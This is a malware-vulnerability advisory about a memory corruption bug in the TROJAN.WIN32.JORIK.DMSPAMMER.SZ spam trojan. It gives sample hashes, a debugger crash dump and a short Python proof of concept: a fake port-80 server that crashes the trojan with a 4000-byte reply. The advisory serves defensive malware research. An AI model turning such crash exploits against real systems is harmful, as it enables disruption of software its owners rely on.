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TROJAN.WIN32.JORIK.DMSPAMMER.SZ Remote Memory Corruption

TROJAN.WIN32.JORIK.DMSPAMMER.SZ Remote Memory Corruption
Posted Jan 4, 2021
Authored by malvuln | Site malvuln.com

TROJAN.WIN32.JORIK.DMSPAMMER.SZ malware suffers from a remote memory corruption vulnerability.

tags | exploit, remote, trojan
systems | windows
MD5 | 55fd186c4f2c6e538578030ac38957e3

TROJAN.WIN32.JORIK.DMSPAMMER.SZ Remote Memory Corruption

Change Mirror Download
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/bdcaed5042eba30f91b093f0bcb3caf3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: TROJAN.WIN32.JORIK.DMSPAMMER.SZ
Vulnerability: Remote Memory Corruption
Description: Memory corruption on server response when making HTTP POST request for PHP file named "stat1.php" on TCP Port 80.

Type: PE32
MD5: bdcaed5042eba30f91b093f0bcb3caf3
Vuln ID: MVID-2021-0008
Dropped files: svcnost.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 1/2/2021

Memory Dump:
(1dc4.14dc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffefff edx=00000000 esi=00000003 edi=00000003
eip=773ced3c esp=0acbf444 ebp=0acbf5d4 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400 ret 14h

0:003> .exr -1
ExceptionAddress: 03b2657b
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 0ada1000
Attempt to read from address 0ada1000

0:003> .ecxr
eax=e5cb4ea8 ebx=00000002 ecx=ffffefff edx=00000000 esi=0ada1000 edi=0adc2390
eip=03b2657b esp=0acbfd84 ebp=0acbfdc4 iopl=0 nv up ei ng nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
03b2657b f3a4 rep movs byte ptr es:[edi],byte ptr [esi]

0:003> dd 0adc0008
0adc0008 41414141 41414141 41414141 41414141
0adc0018 41414141 41414141 41414141 41414141
0adc0028 41414141 41414141 41414141 41414141
0adc0038 41414141 41414141 41414141 41414141


Exploit/PoC:
import socket

port=80
payload="A"*4000

def doit():
global payload
s = socket.socket()
try:
host = ''
s.bind((host, port))
s.listen(5)

print('TROJAN.WIN32.JORIK.DMSPAMMER.SZ / Remote Memory Corruption')
print('MD5: bdcaed5042eba30f91b093f0bcb3caf3')
print("By malvuln")

while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass

if __name__=="__main__":
doit()


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
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